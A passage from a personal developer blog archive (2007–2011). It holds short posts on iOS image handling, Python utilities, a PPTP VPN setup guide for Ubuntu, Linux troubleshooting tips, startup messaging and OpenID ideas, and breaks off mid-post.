Big Ideas For Curious Minds – Book Review Published: 2011-11-14 Tags: book, book review, mindfire, review, scott berkun I had the pleasure of reading Scott Berkun‘s newest book – Mindfire: Big Ideas for Curious Minds. I was also forunate to get it for free in the short period of time where Scott gave it for free on his site, but this is not a guilty book review of getting the book for free. Mindfire is a collection of 30 essays which Scott wrote in various places, mostly on his blog. The essays got cleaned up and preped for the book which made the reading very clean and flowing. Scott’s writing style is very flowing and funny and while it may seem at times as a self emporment / self help book it really isn’t. I look at it more as a collection of percise and clear set of obersvations on the human condition and behavior alone and in a group. Some of the essays specifically talk about work related situtations, but in most cases you can apply some of the tips and wisdom of this book to almost any interaction with other people. I really enjoyed reading it and in some situations fully sympathize with the eassy’s topic and resolution. --- ## UIImage in iOS 5, Orientation and Resize Published: 2011-11-07 Tags: Code, iOS, iOS 5, Objective-C, UIImage, UIImage+Resize One of the things I found very strange is the fact that most operations that came with iOS prior iOS 5 which revolved around UIImage didn’t take into account the orientation of the image. This meant that if you want to read a picture from the camera roll and resize it, you’d have to roll your own code to correctly flip and/or rotate the image according to its orientation value. Being my lazy self I used the fine code of Trevor Harmon in UIImage+Resize. Trevor added some categories to make handling UIImage a bit nicer. The code takes create of everything including orientation. My app worked great on iOS 4 and early betas of iOS 5, however in the late beta of iOS 5 and in the release it wrongfully rotated the images. After further investigation it seems iOS 5 already rotates the image correctly. UIImage+Resize rotated it again, causing the images to get skewed. A quick fix would simply avoid the transposition code in UIImage+Resize. Since the code ran perfectly fine in iOS 4, for backwards compatibility I added a check for OS version and for anything below 5.0 the old code would work. Check out this gist: For better performance I would store a boolean flag somewhere in the app saying you are running in iOS 5 and check that instead of keep on checking the OS version every run, but this is just to get you started. --- ## Clone S3 Bucket Script Published: 2011-10-10 Tags: Amazon S3, Amazon Simple Storage Service, Bucket, Clone, Code, gist, S3 I had to backup an S3 bucket so I whiped out a small script to clone a bucket. It’s written in Python and depends on the excellent Boto library. If you are running Python < 2.7 you’ll also need the argparse library (both available also via pip). View the gist here: https://gist.github.com/1275085 Or here below: --- ## “Those who don’t know history are destined to repeat it.” Published: 2011-08-24 Tags: The Rising Generation, Thoughts I know the title is a bit alarming, but that was my first thought after reading @bryce‘s latest post “The Rising Generation“. Briefly, he mentioned a 25 y/o asking a question on Quora about how was life before everyone had a cell phone and no one talked a lot or texted in public areas. Bryce also say that the new entrepreneurs, like the ones in yesterday’s Y Combinator Demo Day have different expectation, understanding and perceived value of technology than any other that has come before them. I’m 30. Not too far from the 25 y/o who asked the question (although I was about 15 when cell phone started to penetrate Israel quickly and spread like wild fire). In most companies I worked at I was usually the youngest (or second youngest) in the company for quite some time. Most of my co-workers used to be (or are) between 9-15 years older than me and are still surprised of my knowledge of things from the past. I’m a bit of a history buff when it comes to computers, science and technology (but also to general history). That’s why I do know what a ZX Spectrum is (and I don’t know how it reached my house when I was about 7 but I had the chance to play with it). I know how VMS systems work (long story form the Army :-) ). When I was six I did play with an Apple IIc my brother got for his Bar Mitzvah and really liked Captain Goodnight and Karateka. I do know how a modem sounds (and can even detect by sound what is the connection speed. Tiiii Taaa TiiTaTa TiiiTa – Yay 28KBPS! ). Heck, I even ran a BBS and was a node on FidoNet when I was 14. That might be a bit unusual for most people my age that are into computers (and maybe even for older ones) but that’s not too different from people that hear Pink Floyd, Led Zeppelin, Bach and Mozart. While these composers and bands did not exist when I was born or when I was a child the music kept on going. I and a lot of other people both older and younger do know it, hear it and enjoy it. It even inspires some to go on and create new things. Knowing a bit of the past and how it related to an idea or thought you have can give you a much better appreciation to the things others have done or to the things others advice you to do. After all, specifically in the computers and internet industry, we are all “standing on the shoulders of giants”. It can also give entrepreneurs some much needed perspective on how things were, how things are and how it should be. So, in addition to Bryce’s hope that “they can rise high enough to meet the emerging opportunities generations before them have made possible”, my 2 cents are to also learn a bit from the past. Take a minute for some history and try to figure out how things were before you push on forward. If they won’t they are destined to repeat it. --- ## Python Implementation of Twitter’s Snowflake Service Published: 2011-08-05 Tags: 64bit, PySnowflake, PySnowflakeClient, Python, Snowflake, twitter, Unique ID A while back Twitter announced the Snowflake service. Snowflake is a unique ID generator that is fast and generate 64bit integer unique ids that are “roughly sortable”. That is, newer ids are bigger than older ones, up to a certain point. The service was originally written in Scala (which runs on the JVM) and has a Thrift interface, which means you can talk to it from almost any thinkable programming language. The project was shared on GitHub. Personally, I don’t really like the JVM. It’s rather bloated in memory terms and can make quite a mess when you need to fine tune it to low memory environments. Also, the Snowflake service code is rather simple and rarely allocate a lot of new objects, which means allocation wise, its rather fixed. I’ve re-implemented the service in Python using the same Thrift interfaces for both testing as well as being able to run it on low memory environments without the need to fine tune the JVM. This implementation is rather naive and doesn’t work too much around CPython’s Global Interpeter Lock (GIL) so it yields much less IDs per second than the Scala implementation, however you can compensate for it by running multiple processes. You can grab the service code from here: https://github.com/erans/pysnowflake I’ve also written a very simple Python client (it should support connecting to multiple Snowflake services, but the current version disregards this) which I only tested with PySnowflake (the Python server I created). I didn’t test it against the original Scala service. You can grab the Python client code here: https://github.com/erans/pysnowflakeclient While I do use some of this code in production, it is far from being fully tested and checked and I would use it as a reference or study it well and load test it before deploying it. --- ## Determine if an Email address is Gmail or Hosted Gmail (Google Apps for Your Domain) Published: 2011-07-17 Tags: Code, dnspython, Gmail, google-apps-for-your-domain, Python For my latest venture, MyFamilio, I needed to know if a user’s Email address is a Gmail one so that I could show the user his/her contacts from Gmail. Figuring out if the user is on Gmail is usually easy – the Email ends with @gmail.com. But what happens for all of those Google Apps for Your domain (like my own, which uses the @sandler.co.il domain) ? Well, you can easily detect that by running a DNS query on the MX record. I wrote a small function in Python which uses dnspyhon to do just that, determine if an Email address is hosted on Gmail or not. Check the gist here. Check the gist here. --- ## Forecast: Cloudy – My New Cloud Related Technical Blog Published: 2011-07-12 Tags: Blog, Cloud, Forecast Cloudy, Technical Blog I’ve started a new technical blog which talks about the cloud. It’s called Forecast: Cloudy and it will feature thoughts, ideas and some code driven mostly from my experience running services on cloud infrastructure. The first post (after the traditional “Hello World“) already has some code :-) Check it out and don’t forget to tell me what you think about it. --- ## Extract GPS Latitude and Longitude Data from EXIF using Python Imaging Library (PIL) Published: 2011-05-20 Tags: Code, extraction, gps, latitude, longitude, pil, Python I was searching an example of using Python Imaging Library (PIL) to extract the GPS data from EXIF data in images. There were various half baked examples that didn’t handle things well, so I baked something of my own combining multiple examples. You can get it here: https://gist.github.com/983821 Or see it embedded below: --- ## Twitter’s Kestrel init script for Ubuntu 10.04 Lucid Published: 2011-03-23 Twitter’s Kestrel is a cool scala based queue server (based on Blaine Cook‘s (@blaine) Ruby based Sterling). The two main features I like about Kestrel are: Sort-of-transactional – If I take an item I can make sure others can’t get it. If the connect drops it will go back on the queue. Read behind mode – If a certain queue reached a maximum pre-configured amount of RAM or items it will stop storing messages in RAM and will write it directly to the queue log file. If you happen to be running it on Ubuntu 10.04 and want to use the provided init script (kestrel.sh) you’ll notice that it just won’t run. Below is a link to an updated script that works on my Ubuntu 10.04 installations. Assumptions: You are using the paths as suggested in the init script (/usr/local/$APP-NAME, /var/log/$APP-NAME /var/run/$APP-NAME, etc) You are using the openjdk-6-jre-headless package. The script defines the JAVA_HOME directly to where Ubuntu installs that package. You can remove it if needed or change it to suitable values You’ll need to update the JAVA_OPTS parameters for RAM (xmx, etc) for your needs You’ll need to download, compile and install “daemon” from here. It supports Ubuntu 10.04. I don’t know if it has a package, but it was too damn easy to compile it on my own and use it. Download the script --- ## PPTP VPN on Ubuntu 10.04 for your iPhone / iPad Published: 2010-08-30 Tags: 10.04, iPad, iphone, Linux, PPTP, Tunneling, Ubuntu, VPN Below are the steps necessary to connect your iPhone / iPad or any other computer via a PPTP VPN. Why would I want to do this? For various reasons such as allow you to access information and servers that are behind a firewall, or maybe you just need to route traffic through different servers. I’ve tested this on a 256mb Rackspace Cloud instance running Ubuntu 10.04 and with an iPhone and an iPad. Thanks to Yaniv for debugging the instructions. Disclaimer: This is for educational uses only and I take no responsibility as to what you may do with it. The PPTP VPN setup via the instructions below has no encryption and uses the simplest and lowest form of password authentication. If you require stricter encryption and authentication methods you’ll need to read more about pptpd configuration. Assumptions: The instance you are using is blank, specifically from firewall rules in iptables, otherwise, you’ll need to patch things up. All commands assume you are current a root user. If you logged in as root, that’s great. If not, run: [code lang=”bash”]sudo su[/code] Instead of messing a lot with iptables commands, I’m using ufw (Uncomplicated FireWall). In general, to most people, it will be easier to manage and work with. Setting up the PPTP Server In general we are going to create a PPTP VPN that is very basic without encryption and with basic authentication security (not fancy authentication protocols). Since Rackspace Cloud instance has an external interface (eth0) that has the instance public IP and an internal interface (eth1) with an internal IP used to communicate with your other Rackspace Cloud server (if you have them), we’ll create an alias network interface card that will have some other set of internal ips, which will be given to the devices connected via the VPN. Install the necessary software (pptpd, pptp-linux, ppp and ufw – for firewall): [code lang=&#8221;bash&#8221;]apt-get install pptpd pptp-linux ppp ufw[/code] Enable port 22 (ssh) in the firewall, so we don’t get locked out of our instance: [code lang=&#8221;bash&#8221;]ufw allow 22[/code] Enable port 1723 (pptpd) in the firewall to enable access to the pptpd dameon: [code lang=&#8221;bash&#8221;]ufw allow 1723[/code] Enable ufw: [code lang=&#8221;bash&#8221;]ufw enable[/code] Add an aliased network interface card (eth0:0): (We use the address space of 192.168.88.0/24 since its usually free for most networks for most users. You can feel free to change this address if it is already taken) Edit /etc/network/interfaces: [code lang=&#8221;bash&#8221;]nano /etc/network/interfaces[/code] Enter the following text at the end of the file: [code lang=&#8221;dos&#8221;] auto eth0:0 iface eth0:0 inet static address 192.168.88.1 netmask 255.255.255.0 gateway (same value as listed for eth0) dns-nameservers (same value as listed for eth0) [/code] Replace the value of &#8220;gateway&#8221; with the same value you will see in this file for &#8220;eth0&#8221;, the real public network interface. Replace the value of &#8220;dns-nameservers&#8221; with the same value you will see in this file for &#8220;eth0&#8221; Configure the pptpd daemon: Edit /etc/ppp/pptpd-options: [code lang=&#8221;bash&#8221;]nano /etc/ppp/pptpd-options[/code] Comment out (add a &#8220;#&#8221; char at the start of the line) the following lines: &#8220;refuse-pap&#8221; &#8220;refuse-chap&#8221; &#8220;refuse-mschap&#8221; &#8220;refuse-mschap-v2&#8221; &#8220;require-mppe-128&#8243;replace &#8220;#ms-dns 10.0.0.1&#8221; with &#8220;ms-dns 8.8.8.8&#8221; replace &#8220;#ms-dns 10.0.0.2&#8221; with &#8220;ms-dns 8.8.4.4&#8221;</p> The last 2 lines above sets the DNS server the devices connecting to your PPTP VPN will use. The addresses above are for the [Google Public DNS][4] server, but can be any other DNS server (including the same DNS servers as Rackspace or your hosting provider use) Edit /etc/pptpd.conf : [code lang=&#8221;bash&#8221;]nano /etc/pptpd.conf[/code] Add at the bottom of the file: [code] localip 192.168.88.1 remoteip 192.168.88.2-20 [/code] The value of &#8220;remoteip&#8221; will be the set of IP addresses the devices connecting to the VPN will get upon successful connection. Currently, we have here 18 addresses, which is enough for 18 concurrent devices. You can make this range bigger if needed.</li> * Configure the username and password that will be used to authenticate client accessing the VPN: Edit /etc/ppp/chap-secrets: [code lang=&#8221;bash&#8221;]nano /etc/ppp/chap-secrets[/code] [code] \# client server secret IP addresses **[UserName]** pptpd **[Password]** * [/code] Replace [UserName] with the username you wish to use. Replace [Password] with the password you wish to use (I suggest a long random password. Try [this][5] generator) * Enable IP forwarding in the kernel: Edit /etc/sysctl.conf : [code lang=&#8221;bash&#8221;]nano /etc/sysctl.conf[/code]Uncomment the line &#8220;net.ipv4.ip_forward=1&#8221; For IPv6, uncomment &#8220;net.ipv6.conf.all.forwarding=1&#8221; * Enable IP forwarding in ufw: Edit /etc/default/ufw: [code lang=&#8221;bash&#8221;]nano /etc/default/ufw[/code]Change the value of &#8220;DEFAULT\_FORWARD\_POLICY&#8221; from &#8220;DROP&#8221; to &#8220;ACCEPT&#8221; * Add IP masquerading rule in ufw, so that NAT will work and devices connecting to the VPN will be seen as if the traffic goes out of the VPN server: Edit /etc/ufw/before.rules: [code lang=&#8221;bash&#8221;]nano /etc/ufw/before.rules[/code]Paste the text below after the header and before the &#8220;*filter&#8221; rules: [code] \# nat Table rules *nat :POSTROUTING ACCEPT [0:0]</p> \# Allow forward traffic from eth0:0 to eth0 -A POSTROUTING -s 192.168.88.0/24 -o eth0 -j MASQUERADE \# don&#8217;t delete the &#8216;COMMIT&#8217; line or these nat table rules won&#8217;t be processed COMMIT [/code]</li> * Reboot the machine, cross your fingers and hope for the best :-)</ol> # Configuring your iPhone / iPad 1. In your iPhone / iPad go to &#8220;Settings&#8221; -> &#8220;General&#8221; -> &#8220;Network&#8221; -> &#8220;VPN&#8221; <img class="alignright" style="border: 2px solid black;" title="PPTP VPN Configuration" src="https://i1.wp.com/eran.sandler.co.il/wp-content/uploads/2010/08/photo.png?resize=160%2C240" alt="PPTP VPN Configuration" data-recalc-dims="1" /> 2. Select &#8220;Add VPN Configuration&#8221; 3. Select &#8220;PPTP&#8221; 4. In &#8220;Description&#8221; enter the name of the VPN connection 5. In &#8220;Server&#8221; enter the IP address of the server (or a server name, if you mapped the server&#8217;s IP address to a domain name) 6. In &#8220;Account&#8221; enter the username you have entered into the &#8220;/etc/ppp/chap-secrets&#8221; file 7. In &#8220;Password&#8221; enter the password you entered for the above username in &#8220;/etc/ppp/chap-secrets&#8221; 8. Make sure &#8220;Send All Traffic&#8221; is turned to &#8220;ON&#8221; 9. Set &#8220;Encryption Level&#8221; to &#8220;None&#8221; (this is how we configured the PPTP server in this post, if you setup an encryption try to keep it in &#8220;Auto&#8221; 10. Select save &nbsp; <div> <span style="color: #0000ee; -webkit-text-decorations-in-effect: underline;"><br /> </span> </div> --- ## Varnish High, Ever increasing CPU usage workaround Published: 2010-05-26 Tags: Caching, CPU, high cpu, http, Varnish, workaround If you are using Varnish version >= 2.1 and experiencing an ever increasing CPU usage up to a point where you need to restart the service to force CPU usage to drop you may want to add the “-h classic” argument to the command line. This will revert to use the older hashing method instead of the newer “critbit” that was first introduced in version 2.1. You can read a little bit more about it on the Yedda Dev Blog. --- ## Disco Tip – Crunching web server logs Published: 2010-03-21 Tags: Disco, Erlang, MapReduce, Processing Log Files, Python, Tips At my day job we use Disco, a Python + Erlang based Map-Reduce framework, to crunch our web servers and application logs to generate useful data. Each web server log file per day is a couple of GB of data which can amount to a lot of log data that needs to be processed on a daily. Since the files are big it was easier for us to perform all the necessary filtering of find the rows of interest in the “map” function. The problem is, that it requires us to return some generic null value for rows that are not interesting for us. This causes the intermediate files to contains a lot of unnecessary data that has the mapping of our uninteresting rows. To significantly reduce this number, we have started to use the “combiner” function so that our intermediate results contains an already summed up result of the file the node is currently processing that is composed only from the rows we found interesting using the filtering in the “map” phase. For example, if we have 1,000 rows and only 200 answer a certain filtering criteria for a particular report, instead of getting 1,000 rows in the intermediate file out of which 800 have the same null value, we now get only 200 rows. In some cases we saw an increase of up to 50% in run time (the increase in speed is the result of reducing less rows from the intermediate files), not to mention a reduction in disk space use during execution due to the smaller intermediate files. That way, we can keep the filtering logic in the “map” function while making sure we don’t end up reducing unnecessary data. --- ## Ubuntu 9.10 Karmic Koala and ies4linux – Installation Published: 2009-12-30 Tags: IE 4 Linux, IE for Linux, ie4linux, ies4linux, karmic koala, Ubuntu, ubuntu 9.10 Installing ies4linux on Ubuntu 9.10 Karmic Koala by just running “./ies4linux” might show some warnings such as: IEs4Linux 2 is developed to be used with recent Wine versions (0.9.x). It seems that you are using an old version. It’s recommended that you update your wine to the latest version (Go to: winehq.com). In my case it showed the above text, which seems to be a warning, and run the UI but then got stuck and didn’t complete anything. To overcome this issue simply run the installation without the GTK based UI in a terminal window: ./ies4linux –no-gui That’s it. Works like a charm. --- ## Message in a bottle Published: 2009-12-22 Launching a startup is like sending a message in a bottle. If the message is not clear, no one will come to visit your lonely island or send you a postcard back. When you launch your startup, your online presence (i.e. website, twitter account, facebook page, etc) and the buzz you manage to create online via the online official and unofficial press are the message you are passing to your users. If the message is not clear you can lose a lot of attention. Before launching your startup you might want to test your messaging. I propose two very simple tests that can serve as rather good markers to determine if your message is clear. Tests Rules: Each of the tests should be given to 2 different people These people should have no prior knowledge of your startup and what it does One person should be a Non-Techie – someone not from the tech industry who is known to have little to no technical background. The other should be a Techie – someone from the tech industry that can eventually ask a question along the lines of “How are you going to implement this?” and understand the answer. Each test should have a different set of people, you cannot reuse people from one test in the other test. Test #1 – One sentence or less (or the 140 character pitch) Tell each of the 2 people in one sentence or less what your startup does. If they don’t ask for additional clarification then you can consider that your message is rather clear. If they don’t ask for additional clarification, but are rather intrigued by your startup and message you can safely assume your message is clear enough and your startup does interest them. Test #2 – The blind website test Show your website to the 2 people without saying a word. Ask them to read what is written and explain to you what they think your startup is about. If they can explain it and understand completely what you are doing you can be certain enough that your web site message is clear even to new users who has no prior knowledge of what your startup does. If you did not pass one of the test, try it again on a different set of people (just to make sure these 4 are not a statistical anomaly). If the result is still the same try to revise your messaging and, as always, remember to rinse and repeat. --- ## Don Dodge, Google and Developers Evangelism Published: 2009-11-16 Tags: Developers Evangelism, Don Dodge, Google, Microsoft, MSDN, MVP, Software Evangelism I was just reading over at TechCrunch about Google quickly hiring Don Dodge after he was let go from Microsoft. It seems Don will be doing what he used to do at Microsoft – Developer Evangelism (good for him, and Google!). I’m very happy to see that Google is putting their stock options and cash where their mouth is to evangelize their APIs, platforms (Android, AppEngine) and tools to developers. A while back I wrote about the lack of Google’s outreach in the Israeli developers community, and it is still very visible in Israel by the jobs listings as well as various events and conventions that Microsoft Technology still dominates the Israeli high-tech software scene. I do hope that hiring Don Dodge and keep on releasing tools, SDKs, Platforms and even languages such as the new Go programming language, to create the necessary diversification that every monopolized field needs. I just hope that Google will start to do more than just very simple and shallow Dev Days in Israel and will start reaching out the community, specifically in Israel. I would like to see a Google I/O event in Israel and may be a couple of smaller events that dig down into code and details in a more intimate scenario with less people. In general I would expect Google to start evangelizing in other countries and start having evangelists in every country they have an office. I would suggest Google to learn a bit from MSDN as well as the Microsoft Valued Professional (MVP) program – these tools are one of the best examples of creating a community based on core leaders that can drive the community as well as Google straight up. Google is still light years from reaching the well oiled, well organized Microsoft evangelism machine and I hope Don and other will be able to make big leaps to close that gap. --- ## New programming languages forces you to re-think a problem in a fresh way (or why do we need new programming languages. always.) Published: 2009-11-12 Tags: Computer Sciences, CS, Erlang, Go, Google, Perl, Programming Languages, Python Whenever a new programming language appears some claim its the best thing since sliced bread (tm – not mine ;-) ), other claim its the worst thing that can happen and you can implement everything that the language provides in programming language X (assign X to your favorite low level programming language and append a suitable library). After seeing Google’s new Go programming language I must say I’m excited. Not because its from Google and it got a huge buzz around the net. I am excited about the fact that people decided to think differently before they went on and created Go. I’m reading Masterminds of Programming: Conversations with the Creators of Major Programming Languages (a good read for any programming language fanaticos) which is a set of interviews with various programming languages creators and its very interesting to see the thoughts and processes behind a couple of the most widely used programming languages (and even some non-so-widely-used programming languages). In a recent interview Brad Fitzpatrick (of LiveJournal fame and now a Google employee) was asked: You’ve done a lot of work in Perl, which is a pretty high-level language. How low do you think programmers need to go – do programmers still need to know assembly and how chips work? To which he replied: … I see people that are really smart – I would say they’re good programmers – but say they only know Java. The way they think about solving things is always within the space they know. They don’t think ends-to-ends as much. I think it’s really important to know the whole stack even if you don’t operate within the whole stack. I subscribe to Brad’s point of view because a) you need to know your stack from end to end – from the metals in your servers (i.e. server configuration), the operating system internals to the data structures used in your code and b) you need to know more than one programming language to open up your mind to different ways of implementing a solution to a problem. Perl has regular expressions baked into the language making every Perl developer to think in pattern matching when performing string operations instead of writing tedious code of finding and replacing strings. Of course you can always use various find and replace methods, but the power and way of thinking of compiled pattern matching makes it much more accessible, powerful and useful. Python has lists and dictionaries (using a VERY efficient hashtable implementation, at least in CPython) backed into the language because lists and dictionaries are very powerful data structures that can be used in a lot solutions to problems. One of Go’s baked in features is concurrency support in the form of goroutines. Goroutines makes the use of multi-core systems very easy without the complexities that exists in multi-processing or multi-threading programming such as synchronization. This feature actually shares some ancestry with Erlang (which by itself has a very unique syntax and vocabulary for scalable functional programming). Every programming language brings something new to the table and a new way of looking at things and solving problems. That’s why its so special :-) --- ## Google AppEngine – Python – issubclass() arg 1 must be a class Published: 2009-09-14 Tags: GAE, Google App Engine, Google AppEngine, Linux, Python, Python 2.6, SDK, Ubuntu If you are getting the error “”issubclass() arg 1 must be a class”” with Google App Engine SDK for Python on Linux its probably because you are running Python 2.6 (and will probably happen to you when you run Ubuntu 9.04 – 2.6 is the default there). Just run the dev server under python 2.5 (i.e. python2.5 dev_appserver.py) --- ## Error: “Operation could not be completed (error 0x000006d1)” when adding a Samba based network printer to Vista Published: 2009-01-20 Tags: 1745, network printer, operation could not be completed, samba, samba printer, Vista If you are getting the following error while adding a Samba based network printer to Vista: Windows cannot connect to the printer. Operation could not be completed (error 0x000006d1). And you have a Samba server (version 3.0 and above) consider using the following technique to add the printer: Add a local printer (not a network one!) Select “create a new port” Select “Local port” as type of port In the port name enter the printer’s SMB path, i.e. \sambaserver\printer_name Select the right driver That’s all. Works like a charm! If you have an older version of Samba (< 3.0) know that Vista uses NTLMv2 by default. Follow these instructions to revert back to NTLMv1 by default (also true for regular shares). Also note that since this is a local printer that prints to a print queue on the Samba server, you might not be able to delete print jobs that were completely sent to the Samba server print queue, since we essentially created a local queue. --- ## “Unable to retrieve MSN Address Book” on Pidgin on Ubuntu / Debian? Published: 2009-01-12 Tags: Adium, libpurple, Linux, MSN, msn-pecan, Pidgin, Ubuntu, Unable to retrieve MSN Address Book Today I got the following error on Pidgin (I’m running version 2.5.2 on Ubuntu 8.10 Intrepid Ibex) while it tried to connect to MSN: “Unable to retrieve MSN Address Book” After searching a bit I found this post by Gijs Nelissen which said to use a different MSN plugin for Pidgin called msn-pecan. I’ll reiterate the instructions for those with Ubuntu / Debian: Close Pidgin (make sure the process is really down) Run “apt-get install msn-pecan” Start pidgin Change your MSN account type from MSN to WLM Reconnect I don’t know if this error affects other libpurple based multi-headed IMs (such as Adium) (UPDATE: It appears this IS a libpurple issue – so Adium IS affected), however, the msn-pecan project has a Windows binary release as well as source release (if you care/need/want to compile it for Mac OS X or other Linux distributions). --- ## Ubuntu 8.10, Dell D630, fan issues and screen repaints issues Published: 2008-11-12 Tags: D630, dell, dell d630, Fan, Nvidia, problems, Ubuntu On the day of Ubunut 8.10 I’ve upgraded my work laptop (Dell D630) to Ubuntu 8.10. I’ve previously ran my home desktop on the release candidates and saw that all is well so I didn’t expect any specific issues with the upgrade. After finishing the upgrade successfully I’ve encountered 2 problems. The first was with the computer fan. It was workin on and off in full steam in 4 seconds cycles. Really annoying. A quick search in the Ubuntu forums led to this post saying I should upgrade to the latest BIOS version (A13 – at least at the time of writing this post). Upgrading to the latest BIOS stopped the fan from cycling to full speed and full stop but it was still running a bit too much even when the computer was rather idle. There was another post in the forums that suggested to go back to the older Nvidia drivers (version 173) instead of using the version which ships with Ubuntu 8.10 (177). That managed to solve the fan issues for now as well as fix some strange repaint problems I was seeing when working with TwinView and extending my screen to another external monitor. Thought it might help others who face these problems. --- ## Google Developer Day 2008 Israel – I’ll be there Published: 2008-11-01 Tags: Google, google devday 2008, google developer day 2008 As I’ve previously mentioned, tomorrow I’ll be at the Google Developer Day taking place at Avenue Center near TLV airport. If you want to me and talk or just say hi ping me. --- ## Google Developer Day 2008 Israel (yes, it’s in Israel) Published: 2008-09-22 Tags: Google, google developer day, google developer day 2008, googledeveloperday, googledeveloperday2008 About a year and a half ago I’ve written about Google Israel’s position in the Israeli development community (actually, there lack of) and that a company like Google should be more involved. This was written around the time the 2007 Google Developer Day happened in more than 10 places around the world but not in Israel. I opened my Email this morning and to my surprise I found an invitation to the Google Developer Day 2008 in Israel. It seems there is a good schedule and a very interesting cast of lecturers. Some of the lecturers are Israeli Googlers while others are Googlers from Europe and the USA. While most of it revolves around Google technologies (GData and the APIs, AppEngine, V8 JavaScript engine) or Google sponsored initiatives (OpenSocial) it’s a good start for a conversation between the Israeli development community and Google Israel (or Google in general for that matter). I hope this is a first step in Google’s involvment in the Israeli development community, one that will lead to a more diverse and engaged community. The event will take place on November 2nd at the Avenue convention center (near Airprot city). Currently registration requires an invitation. I’ve already registered and if nothing else will change my schedule I will be there. If you also registered and know me (or don’t know me yet) feel free to drop by and say hi. --- ## Failed to run /usr/sbin/synaptic Unable to copy the user’s Xauthorisation file Published: 2008-04-27 Tags: Linux, synaptic, Ubuntu If you get the following error while running Synaptic: **Failed to run /usr/sbin/synaptic Unable to copy the user’s Xauthorisation file.** Make sure to that you have enough space in your /tmp directory. To check if that is indeed the problem run the following command in your terminal: df -h This command will show you each mounted volumes you may have including the one mounted to /tmp. /tmp usually contains temporary data for applications while they run. It sometimes may reach a point where it 100% full (might have happened to me while I upgraded to Hardy Heron 8.04). To clear /tmp run the following commands (BE CAREFUL NOT TO RUN rm -rf ON ANYWHERE OTHER THAN /tmp): cd /tmp pwd�� # just to make sure you are really in /tmp rm -rf * --- ## Solution (sort of): Mic problems with Skype on Dell D630 and Ubuntu 7.10 (gutsy gibbon) Published: 2008-03-11 Tags: dell, dell d630, gutsy gibbon, hd-intel, mic problems, microphone problems, skype, Ubuntu, ubuntu 7.10, ubuntu gusty gibbon If you are using Skype on Ubuntu 7.10 (Gusty Gibbon) on a Dell D630 and have the “famous” internal microphone problems due to the HD-Intel chipset, I’ve found a simple solution, sort of. I recently bought a Plantronics .Audio 470 headset at Best Buy for $50. Its a nice headset with good sound quality and a good mic that is also fold-able for good portability. That headset also comes with a USB adapter which allows you to basically get a USB based sound card so you can use that headset with machines without a sound card (or a problematic sound card/chipset…). It seems that Ubuntu works well with that adapter. Ubuntu recognizes it as another sound device, as if you have another sound card attached. I attached it, run Skype and configured Skype to use that newly found sound device for incoming and outgoing voice chats and it just worked. I managed to call people, they heard me well and everything was fine. The only downside was that it works only in mono, for some reason, so I only heard sound on the left side (when its hooked to another Linux machine that doesn’t have a mic problem or a Windows or Mac machines the headset is working in stereo UPDATE: It seems that there were two devices, one was stereo and one was mono. When I switched to the second one I started hearing in stereo :-) ). It’s still better than nothing and if you have a headset with only one left speaker you won’t even notice it ;-) --- ## SocialGraph FooCamp 2008 here I come! Published: 2008-01-31 Tags: OAuth, open standards, OpenID, sgfoocamp, sgfoocamp08, social graph foo camp, socialgraph foocamp I’m sitting in Frankfurt Airport (FRA) waiting for my connecting flight to San Francisco which will let me attend Social Graph FooCamp 2008. According to the cast of people assembled on the wiki it seems that its going to be lots of fun and hopefully very productive. I’ll be arriving to SF after noonish. If you want to meet, say hi, or anything else, Email me through the contact page. Since this is a FooCamp, I do have a very rough on the edges topic to discuss and bring up. I wanted to write a post about it before the camp but whenever I started writing the post I kept on hitting open issues (or at least issues that must be resolved before moving on). This eventually made the post very incoherent so I thought that the best way to resolve it is by putting up a session at the camp. I’ll guess we’ll see what we will end up doing at the end :-) --- ## OpenID 2.0 Directed Identity and Emails Published: 2008-01-27 Tags: AOL, directed identity, emails, OpenID, Yahoo A couple of days ago I’ve talked with Eran Hammer-Lahav about an idea I had regarding his post about using Emails as OpenID identifiers. During the talk another sub-idea came into light in regards to OpenID 2.0 Directed Identity and Emails. While I’m not sure if this has been discussed before (I didn’t have much time to go through old posts on the OpenID mailinglist yet) I thought about bringing it up here. Directed Identity is a feature that allows a user to enter the domain in which his/her identity resides. This means that if I want to use my OpenID login at some site instead of entering the whole URL to my exact identity, I can simply put the domain name of my OpenID provider. My provider will figure out all the rest including how to direct me back to the right site after I correctly login. Yahoo’s implementation of OpenID 2.0 supports directed identities. At their OpenID site, they are educating users to write just “yahoo.com” instead of a full blown long URL to their profiles. With a small change, a user can use his/her Email address to use directed identity, after all, users already knows how to enter an Email address in most sites to sign-in/up. In the case of Yahoo, instead of entering “yahoo.com” to use directed identity, why not put your whole Email “myemail@yahoo.com”. The consumer OpenID implementation can simply cut off the domain name from the Email and use directed identity for the rest of the process. I’m sure a lot of Yahoo users will find that entering their Email more natural and easier to comprehend than to figure out they should put the domain name. The benefits for this idea is in its implementation. Providers that support OpenID 2.0 doesn’t need to do anything. The real change here is in the OpenID consumer libraries that supports OpenID 2.0. The consumer libraries only needs to use a simple regex to extract the domain name from the Email. Do you know if this idea was previously suggested? Do you think its applicable? I certainly think it can make it easier for everyone and I’m thinking here in mother terms. I know my mother knows her Email and knows how to sign in to sites with it. I’m quite sure she has little understand as to what a URL is, what’s its syntax and why she would need to use it. --- ## OAuth Core 1.0 Final – Out the door into a service near you Published: 2007-12-05 Tags: Identity, IIW, internet identity workshop, OAuth, specification At IIW 2007b OAuth Core 1.0 Final was released. I wish I could attend IIW but I had previous work related obligations that I simply could not get out of. I do hope to attend the next one (IIW 2008a). Now it’s time to update the C# client to the latest and really final version of the spec. Congrats to everyone involved with OAuth. It is a truly amazing group of people and I think we can all be proud of the outcome! --- ## Knock knock! Who’s there? Yedda. Yedda who? Yedda from AOL Published: 2007-12-04 Tags: AOL, Q&A, questions and answers, Yedda I know I’ve been very quiet recently but some of you know why. It took me a while to write about it but its true and it did happen. Yedda is now part of AOL. There are some very interesting things planned for Yedda inside AOL. You’ll just have to wait and see :-) so forgive me if I’ll disappear for a while again due to some work related obligations. --- ## Got a new MP3 player – iRiver X20 Published: 2007-10-25 Tags: Apple, audio, iaudio, iaudio i7, ipod, iriver, iriver x20, mp3, mp3 player, Music Lately my 3rd generation 20Gb iPod battery started to die very early. It barely lasted for 2 hours. Changing a battery through Apple’s israeli representatives is not a very nice thing or easy to do and I didn’t want to wait for a replacement do-it-yourself battery from eBay so I’ve decided it was time for a new player. In addition to that a 3rd gen iPod has only 32Mb of RAM (it optimizes the battery life by loading ~32Mb from the drive every time, thus reducing the need to go back to the hard drive every time) and Apple recommended to have files of 9mb or less for best battery performance. Being the semi audiophile that I am, my newer MP3s are ripped at 